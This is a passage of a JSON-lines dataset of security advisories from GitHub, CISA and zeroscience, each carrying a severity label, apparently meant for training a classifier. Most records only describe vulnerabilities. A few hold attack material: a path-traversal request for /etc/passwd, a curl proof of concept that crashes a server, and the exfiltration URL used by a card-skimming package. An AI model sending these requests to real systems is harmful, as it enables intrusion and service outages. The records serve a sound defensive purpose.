-{"id": "c5c34fb272905c242cc9", "text": "Malicious Package in baes-x\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in baes-x\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "bdde2050c5da14f4f49d", "text": "The authorization framework in Apache Hive 1.0.0, 1.0.1, 1.1.0, 1.1.1, 1.2.0 and 1.2.1, on clusters protected by Ranger and SqlStdHiveAuthorization, allows attackers to bypass intended parent table access restrictions via unspecified partition-level operations.", "text_raw": "High severity vulnerability that affects org.apache.hive:hive, org.apache.hive:hive-exec, and org.apache.hive:hive-service\n\n[Severity: HIGH]\n\nThe authorization framework in Apache Hive 1.0.0, 1.0.1, 1.1.0, 1.1.1, 1.2.0 and 1.2.1, on clusters protected by Ranger and SqlStdHiveAuthorization, allows attackers to bypass intended parent table access restrictions via unspecified partition-level operations.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "3ad5623b47a08421faee", "text": "Malicious Package in cordova-plugin-china-picker\n\nVersion 1.0.910 of `cordova-plugin-china-picker` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.910 of this module is found installed you will want to replace it with a version before or after 1.0.910. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in cordova-plugin-china-picker\n\n[Severity: CRITICAL]\n\nVersion 1.0.910 of `cordova-plugin-china-picker` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 1.0.910 of this module is found installed you will want to replace it with a version before or after 1.0.910. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "799a806d2ebbdbec3761", "text": "Out-of-bounds read in Pillow\n\nIn `libImaging/PcxDecode.c` in Pillow before 7.1.0, an out-of-bounds read can occur when reading PCX files where `state->shuffle` is instructed to read beyond `state->buffer`.", "text_raw": "Out-of-bounds read in Pillow\n\n[Severity: HIGH]\n\nIn `libImaging/PcxDecode.c` in Pillow before 7.1.0, an out-of-bounds read can occur when reading PCX files where `state->shuffle` is instructed to read beyond `state->buffer`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "0faf557030afc1252321", "text": "Uncontrolled recursion in trust-dns-proto\n\nThere's a stack overflow leading to a crash when Trust-DNS's parses a malicious DNS packet. Affected versions of this crate did not properly handle parsing of DNS message compression (RFC1035 section 4.1.4). The parser could be tricked into infinite loop when a compression offset pointed back to the same domain name to be parsed. This allows an attacker to craft a malicious DNS packet which when consumed with Trust-DNS could cause stack overflow and crash the affected software.", "text_raw": "Uncontrolled recursion in trust-dns-proto\n\n[Severity: HIGH]\n\nThere's a stack overflow leading to a crash when Trust-DNS's parses a malicious DNS packet. Affected versions of this crate did not properly handle parsing of DNS message compression (RFC1035 section 4.1.4). The parser could be tricked into infinite loop when a compression offset pointed back to the same domain name to be parsed. This allows an attacker to craft a malicious DNS packet which when consumed with Trust-DNS could cause stack overflow and crash the affected software.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7935c5ce1df6fb7913cd", "text": "Improper Handling of Exceptional Conditions in detect-character-encoding\n\n### Impact\n\nIn detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.\n\n### Patches\n\nThe problem has been patched in [detect-character-encoding v0.7.0](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0).\n\n### CVSS score\n\nBase Score: 7.5 (High)\nTemporal Score: 7.2 (High)\n\n### Proof of concept\n\n```js\nconst express = require(\"express\");\nconst bodyParser = require(\"body-parser\");\nconst detectCharacterEncoding = require(\"detect-character-encoding\");\n\nconst app = express();\n\napp.use(bodyParser.raw());\n\napp.post(\"/\", (req, res) => {\n  const charsetMatch = detectCharacterEncoding(req.body);\n\nres.end(charsetMatch.encoding);\n});\n\napp.listen(3000);\n```\n\n`printf \"\\xAA\" | curl --request POST --header \"Content-Type: application/octet-stream\" --data-binary @- http://localhost:3000` crashes the server.", "text_raw": "Improper Handling of Exceptional Conditions in detect-character-encoding\n\n[Severity: HIGH]\n\n### Impact\n\nIn detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.\n\n### Patches\n\nThe problem has been patched in [detect-character-encoding v0.7.0](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0).\n\n### CVSS score\n\n[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C)\n\nBase Score: 7.5 (High)\nTemporal Score: 7.2 (High)\n\nSince detect-character-encoding is a library, the scoring is based on the “[reasonable worst-case implementation scenario](https://www.first.org/cvss/v3.1/user-guide#3-7-Scoring-Vulnerabilities-in-Software-Libraries-and-Similar)”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.\n\n### Proof of concept\n\n```js\nconst express = require(\"express\");\nconst bodyParser = require(\"body-parser\");\nconst detectCharacterEncoding = require(\"detect-character-encoding\");\n\nconst app = express();\n\napp.use(bodyParser.raw());\n\napp.post(\"/\", (req, res) => {\n  const charsetMatch = detectCharacterEncoding(req.body);\n\n  res.end(charsetMatch.encoding);\n});\n\napp.listen(3000);\n```\n\n`printf \"\\xAA\" | curl --request POST --header \"Content-Type: application/octet-stream\" --data-binary @- http://localhost:3000` crashes the server.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2402319863c69fa3e165", "text": "Huawei Technologies du Mobile Broadband 16.0 Local Privilege Escalation", "text_raw": "Huawei Technologies du Mobile Broadband 16.0 Local Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2013-12-19", "split": "train"}
-{"id": "93a9f4238bf443faffe3", "text": "ember-source Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in the link-to helper in Ember.js 1.2.x before 1.2.2, 1.3.x before 1.3.2, and 1.4.x before 1.4.0-beta.6, when used in non-block form, allows remote attackers to inject arbitrary web script or HTML via the title attribute.", "text_raw": "ember-source Cross-site Scripting vulnerability\n\n[Severity: LOW]\n\nCross-site scripting (XSS) vulnerability in the link-to helper in Ember.js 1.2.x before 1.2.2, 1.3.x before 1.3.2, and 1.4.x before 1.4.0-beta.6, when used in non-block form, allows remote attackers to inject arbitrary web script or HTML via the title attribute.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2018-08-28", "split": "train"}
-{"id": "ac52945a7cc15694d85b", "text": "Command injection in wc-cmd\n\n** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.", "text_raw": "Command injection in wc-cmd\n\n[Severity: CRITICAL]\n\n** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "38189820f22ef8a097e3", "text": "ReDoS in normalize-url\n\nThe normalize-url package before 4.5.1, 5.x before 5.3.1, and 6.x before 6.0.1 for Node.js has a ReDoS (regular expression denial of service) issue because it has exponential performance for data: URLs.", "text_raw": "ReDoS in normalize-url\n\n[Severity: HIGH]\n\nThe normalize-url package before 4.5.1, 5.x before 5.3.1, and 6.x before 6.0.1 for Node.js has a ReDoS (regular expression denial of service) issue because it has exponential performance for data: URLs.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "5d3c65ea57ec2a13ed6f", "text": "Stack overflow due to looping TFLite subgraph\n\n### Impact\nTFlite graphs must not have loops between nodes. However, this condition was not checked and an attacker could craft models that would result in infinite loop during evaluation. In certain cases, the infinite loop would be replaced by stack overflow due to too many recursive calls.\n\nFor example, the [`While` implementation](https://github.com/tensorflow/tensorflow/blob/106d8f4fb89335a2c52d7c895b7a7485465ca8d9/tensorflow/lite/kernels/while.cc) could be tricked into a scneario where both the body and the loop subgraphs are the same. Evaluating one of the subgraphs means calling the `Eval` function for the other and this quickly exhaust all stack space.\n\n### Patches \nWe have patched the issue in GitHub commit [9c1dc920d8ffb4893d6c9d27d1f039607b326743](https://github.com/tensorflow/tensorflow/commit/9c1dc920d8ffb4893d6c9d27d1f039607b326743) (for the `While` operator) and in GitHub commit [c6173f5fe66cdbab74f4f869311fe6aae2ba35f4](https://github.com/tensorflow/tensorflow/commit/c6173f5fe66cdbab74f4f869311fe6aae2ba35f4) (in general).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Stack overflow due to looping TFLite subgraph\n\n[Severity: HIGH]\n\n### Impact\nTFlite graphs must not have loops between nodes. However, this condition was not checked and an attacker could craft models that would result in infinite loop during evaluation. In certain cases, the infinite loop would be replaced by stack overflow due to too many recursive calls.\n\nFor example, the [`While` implementation](https://github.com/tensorflow/tensorflow/blob/106d8f4fb89335a2c52d7c895b7a7485465ca8d9/tensorflow/lite/kernels/while.cc) could be tricked into a scneario where both the body and the loop subgraphs are the same. Evaluating one of the subgraphs means calling the `Eval` function for the other and this quickly exhaust all stack space.\n    \n### Patches \nWe have patched the issue in GitHub commit [9c1dc920d8ffb4893d6c9d27d1f039607b326743](https://github.com/tensorflow/tensorflow/commit/9c1dc920d8ffb4893d6c9d27d1f039607b326743) (for the `While` operator) and in GitHub commit [c6173f5fe66cdbab74f4f869311fe6aae2ba35f4](https://github.com/tensorflow/tensorflow/commit/c6173f5fe66cdbab74f4f869311fe6aae2ba35f4) (in general).\n    \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "e19424025cc666da429d", "text": "Potential sensitive data exposure in applications using Vaadin 15\n\nInsecure configuration of default `ObjectMapper` in `com.vaadin:flow-server` versions 3.0.0 through 3.0.5 (Vaadin 15.0.0 through 15.0.4) may expose sensitive data if the application also uses e.g. `@RestController`\n\n- https://vaadin.com/security/cve-2020-36319", "text_raw": "Potential sensitive data exposure in applications using Vaadin 15\n\n[Severity: LOW]\n\nInsecure configuration of default `ObjectMapper` in `com.vaadin:flow-server` versions 3.0.0 through 3.0.5 (Vaadin 15.0.0 through 15.0.4) may expose sensitive data if the application also uses e.g. `@RestController`\n\n- https://vaadin.com/security/cve-2020-36319", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "9da42e7ad9443db391d5", "text": "Uncontrolled Resource Consumption in pillow\n\nThe package pillow 5.2.0 and before 8.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function.", "text_raw": "Uncontrolled Resource Consumption in pillow\n\n[Severity: HIGH]\n\nThe package pillow 5.2.0 and before 8.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "ab230abbcb6fc0a6b7cb", "text": "Cross-site scripting (XSS) vulnerability in the link dialogue in GUI editor in MoinMoin before 1.9.10 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", "text_raw": "Moderate severity vulnerability that affects moin\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the link dialogue in GUI editor in MoinMoin before 1.9.10 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "06b13b4bb1a0b5cad78a", "text": "XSS via prototype pollution in NodeBB\n\n### Impact\nA prototype pollution vulnerability in the uploader module allowed a malicious user to inject arbitrary data (i.e. javascript) into the DOM, theoretically allowing for an account takeover when used in conjunction with a path traversal vulnerability disclosed at the same time as this report.\n\n### Patches\nThe vulnerability has been patched as of v1.18.5.\n\n### Workarounds\nCherry-pick commit hash 1783f918bc19568f421473824461ff2ed7755e4c to receive this patch in lieu of a full upgrade.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@nodebb.org](mailto:security@nodebb.org)", "text_raw": "XSS via prototype pollution in NodeBB \n\n[Severity: CRITICAL]\n\n### Impact\nA prototype pollution vulnerability in the uploader module allowed a malicious user to inject arbitrary data (i.e. javascript) into the DOM, theoretically allowing for an account takeover when used in conjunction with a path traversal vulnerability disclosed at the same time as this report.\n\n### Patches\nThe vulnerability has been patched as of v1.18.5.\n\n### Workarounds\nCherry-pick commit hash 1783f918bc19568f421473824461ff2ed7755e4c to receive this patch in lieu of a full upgrade.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@nodebb.org](mailto:security@nodebb.org)\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-30", "split": "train"}
-{"id": "d8fe547d54c33b459000", "text": "Arbitrary shell command execution in logkitty\n\nLack of output sanitization allowed an attack to execute arbitrary shell commands via the logkitty npm package before version 0.7.1.", "text_raw": "Arbitrary shell command execution in logkitty\n\n[Severity: CRITICAL]\n\nLack of output sanitization allowed an attack to execute arbitrary shell commands via the logkitty npm package before version 0.7.1.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "67b2d014ecb8152f23f3", "text": "private_address_check vulnerable to bypass of Resolv.getaddresses method\n\nThe private_address_check ruby gem before 0.4.0 is vulnerable to a bypass due to use of Ruby's `Resolv.getaddresses` method, which is OS-dependent and should not be relied upon for security measures, such as when used to blacklist private network addresses to prevent server-side request forgery.", "text_raw": "private_address_check vulnerable to bypass of Resolv.getaddresses method\n\n[Severity: MEDIUM]\n\nThe private_address_check ruby gem before 0.4.0 is vulnerable to a bypass due to use of Ruby's `Resolv.getaddresses` method, which is OS-dependent and should not be relied upon for security measures, such as when used to blacklist private network addresses to prevent server-side request forgery.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-11-29", "split": "train"}
-{"id": "f65de5f1503066856b9f", "text": "Improper Neutralization of Special Elements used in a Command ('Command Injection') in @floffah/build\n\n### Impact\nIf you are using the esbuild target or command you are at risk of code/option injection. Attackers can use the command line option to maliciously change your settings in order to damage your project.\n\n### Patches\nThe problem has been patched in v1.0.0 as it uses a proper method to pass configs to esbuild/estrella.\n\n### Workarounds\nThere is no work around. You should update asap.\n\n### Notes\nThis notice is mainly just to make sure people update to the latest version. This isn't that bad, but should encourage you to update.", "text_raw": "Improper Neutralization of Special Elements used in a Command ('Command Injection') in @floffah/build\n\n[Severity: LOW]\n\n### Impact\nIf you are using the esbuild target or command you are at risk of code/option injection. Attackers can use the command line option to maliciously change your settings in order to damage your project.\n\n### Patches\nThe problem has been patched in v1.0.0 as it uses a proper method to pass configs to esbuild/estrella.\n\n### Workarounds\nThere is no work around. You should update asap.\n\n### Notes\nThis notice is mainly just to make sure people update to the latest version. This isn't that bad, but should encourage you to update.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-28", "split": "train"}
-{"id": "fad2275ea4d1478a6fe9", "text": "Ox gem stack overflow in sax_parse\n\nIn the Ox gem 2.8.1 for Ruby, the process crashes with a stack-based buffer over-read in the `read_from_str` function in `sax_buf.c` when a crafted input is supplied to `sax_parse`.", "text_raw": "Ox gem stack overflow in sax_parse\n\n[Severity: MEDIUM]\n\nIn the Ox gem 2.8.1 for Ruby, the process crashes with a stack-based buffer over-read in the `read_from_str` function in `sax_buf.c` when a crafted input is supplied to `sax_parse`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-03-05", "split": "train"}
-{"id": "4fcf1e4dad4549cb096c", "text": "Oxwall 1.7.0 Remote Code Execution Exploit", "text_raw": "Oxwall 1.7.0 Remote Code Execution Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-07-28", "split": "train"}
-{"id": "f6399c2ece3e4b5e681d", "text": "MD5 hash support in github.com/foxcpp/maddy\n\n### Impact\n\nThis vulnerability affects maddy 0.5.1, 0.5.0 users using auth.shadow module\nand an extremely outdated system that still allows MD5 hashes in \n/etc/shadows.\n\n### Patches\n\nPatch is available as part of the 0.5.2 release.\n\n### Workarounds\n\nEnsure MD5 hashes are not present in /etc/shadow.", "text_raw": "MD5 hash support in github.com/foxcpp/maddy\n\n[Severity: LOW]\n\n### Impact\n\nThis vulnerability affects maddy 0.5.1, 0.5.0 users using auth.shadow module\nand an extremely outdated system that still allows MD5 hashes in \n/etc/shadows.\n\n### Patches\n\nPatch is available as part of the 0.5.2 release.\n\n### Workarounds\n\nEnsure MD5 hashes are not present in /etc/shadow.\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "9cbbc43c52588368bb18", "text": "libsbml downloads Resources over HTTP\n\nAffected versions of `libsbml` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `libsbml`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2013.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "libsbml downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `libsbml` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `libsbml`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2013.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "09eb2928ec76908faed8", "text": "IPC messages delivered to the wrong frame in Electron\n\n### Impact\nIPC messages sent from the main process to a subframe in the renderer process, through `webContents.sendToFrame`, `event.reply` or when using the `remote` module, can in some cases be delivered to the wrong frame.\n\nIf your app does ANY of the following, then it is impacted by this issue:\n- Uses `remote`\n- Calls `webContents.sendToFrame`\n- Calls `event.reply` in an IPC message handler\n\n### Patches\nThis has been fixed in the following versions:\n\n- 9.4.0\n- 10.2.0\n- 11.1.0\n- 12.0.0-beta.9\n\n### Workarounds\nThere are no workarounds for this issue.\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org).", "text_raw": "IPC messages delivered to the wrong frame in Electron\n\n[Severity: MEDIUM]\n\n### Impact\nIPC messages sent from the main process to a subframe in the renderer process, through `webContents.sendToFrame`, `event.reply` or when using the `remote` module, can in some cases be delivered to the wrong frame.\n\nIf your app does ANY of the following, then it is impacted by this issue:\n- Uses `remote`\n- Calls `webContents.sendToFrame`\n- Calls `event.reply` in an IPC message handler\n\n### Patches\nThis has been fixed in the following versions:\n\n- 9.4.0\n- 10.2.0\n- 11.1.0\n- 12.0.0-beta.9\n\n### Workarounds\nThere are no workarounds for this issue.\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-28", "split": "train"}
-{"id": "a1cf32694be0c3c9558e", "text": "ActiveRecord in Ruby on Rails allows database-query bypass\n\nActive Record in Ruby on Rails 4.2.x before 4.2.7.1 does not properly consider differences in parameter handling between the Active Record component and the JSON implementation, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks or trigger missing WHERE clauses via a crafted request, as demonstrated by certain \"[nil]\" values, a related issue to CVE-2012-2660, CVE-2012-2694, and CVE-2013-0155.", "text_raw": "ActiveRecord in Ruby on Rails allows database-query bypass\n\n[Severity: HIGH]\n\nActive Record in Ruby on Rails 4.2.x before 4.2.7.1 does not properly consider differences in parameter handling between the Active Record component and the JSON implementation, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks or trigger missing WHERE clauses via a crafted request, as demonstrated by certain \"[nil]\" values, a related issue to CVE-2012-2660, CVE-2012-2694, and CVE-2013-0155.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "221b23f4f5f217e4f48a", "text": "McAfee Total Protection (MTP) Improper Privilege Management Vulnerability\n\nAffected: McAfee McAfee Total Protection (MTP)\n\nMcAfee Total Protection (MTP) contains an improper privilege management vulnerability that allows a local user to gain elevated privileges and execute code, bypassing MTP self-defense.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "McAfee Total Protection (MTP) Improper Privilege Management Vulnerability\n\nAffected: McAfee McAfee Total Protection (MTP)\n\nMcAfee Total Protection (MTP) contains an improper privilege management vulnerability that allows a local user to gain elevated privileges and execute code, bypassing MTP self-defense.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "e6667ab41fc381b0ff39", "text": "paperclip Server-Side Request Forgery vulnerability\n\nPaperclip ruby gem version 3.1.4 and later suffers from a Server-SIde Request Forgery (SSRF) vulnerability in the `Paperclip::UriAdapter` class. Attackers may be able to access information about internal network resources.", "text_raw": "paperclip Server-Side Request Forgery vulnerability\n\n[Severity: CRITICAL]\n\nPaperclip ruby gem version 3.1.4 and later suffers from a Server-SIde Request Forgery (SSRF) vulnerability in the `Paperclip::UriAdapter` class. Attackers may be able to access information about internal network resources.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-01-22", "split": "train"}
-{"id": "1c8e7d47057461991836", "text": "Directory Traversal in unicorn-list\n\nAffected versions of `unicorn-list` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in unicorn-list\n\n[Severity: HIGH]\n\nAffected versions of `unicorn-list` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "12a573cc1068ec405a96", "text": "UBICOD Medivision Digital Signage 1.5.1 CSRF Add Super Admin", "text_raw": "UBICOD Medivision Digital Signage 1.5.1 CSRF Add Super Admin\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-07-19", "split": "train"}
-{"id": "7ecd923edf45d8cef306", "text": "Sinatra Path Traversal vulnerability\n\nAn issue was discovered in `rack-protection/lib/rack/protection/path_traversal.rb` in Sinatra 2.x before 2.0.1 on Windows. Path traversal is possible via backslash characters.", "text_raw": "Sinatra Path Traversal vulnerability\n\n[Severity: MEDIUM]\n\nAn issue was discovered in `rack-protection/lib/rack/protection/path_traversal.rb` in Sinatra 2.x before 2.0.1 on Windows. Path traversal is possible via backslash characters.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-02-20", "split": "train"}
-{"id": "7d630c6b5cfbad15ab76", "text": "Arbitrary Code Execution in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.7, 2.8.11.3, and 2.7.9.5 might allow remote attackers to execute arbitrary code by leveraging failure to block the blaze-ds-opt and blaze-ds-core classes from polymorphic deserialization.", "text_raw": "Arbitrary Code Execution in jackson-databind\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.9.7, 2.8.11.3, and 2.7.9.5 might allow remote attackers to execute arbitrary code by leveraging failure to block the blaze-ds-opt and blaze-ds-core classes from polymorphic deserialization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "4ec2aa725c2f2eef51ec", "text": "Google Chromium V8 Heap Buffer Overflow Vulnerability\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine contains a heap buffer overflow vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-122\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium V8 Heap Buffer Overflow Vulnerability\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine contains a heap buffer overflow vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-122\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "c39ac99deedc1c36ae12", "text": "Teradek T-RAX 7.3.2 (snapshot.cgi) Stream Disclosure", "text_raw": "Teradek T-RAX 7.3.2 (snapshot.cgi) Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-05-21", "split": "train"}
-{"id": "aa3175b89c4239f1eaa2", "text": "Reflected XSS when importing CSV in OctoberCMS\n\n### Impact\nA user with the ability to use the import functionality of the `ImportExportController` behavior could be socially engineered by an attacker to upload a maliciously crafted CSV file which could result in a reflected XSS attack on the user in question\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466).\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/cd0b6a791f995d86071a024464c1702efc50f46c to your installation manually if unable to upgrade to Build 466.\n\n### References\nReported by [Sivanesh Ashok](https://stazot.com/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1100\" alt=\"Screen Shot 2020-03-31 at 2 01 52 PM\" src=\"https://user-images.githubusercontent.com/7253840/78070158-8f7ef580-7358-11ea-950c-226533f6a0a3.png\">", "text_raw": "Reflected XSS when importing CSV in OctoberCMS\n\n[Severity: MEDIUM]\n\n### Impact\nA user with the ability to use the import functionality of the `ImportExportController` behavior could be socially engineered by an attacker to upload a maliciously crafted CSV file which could result in a reflected XSS attack on the user in question\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466).\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/cd0b6a791f995d86071a024464c1702efc50f46c to your installation manually if unable to upgrade to Build 466.\n\n### References\nReported by [Sivanesh Ashok](https://stazot.com/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1100\" alt=\"Screen Shot 2020-03-31 at 2 01 52 PM\" 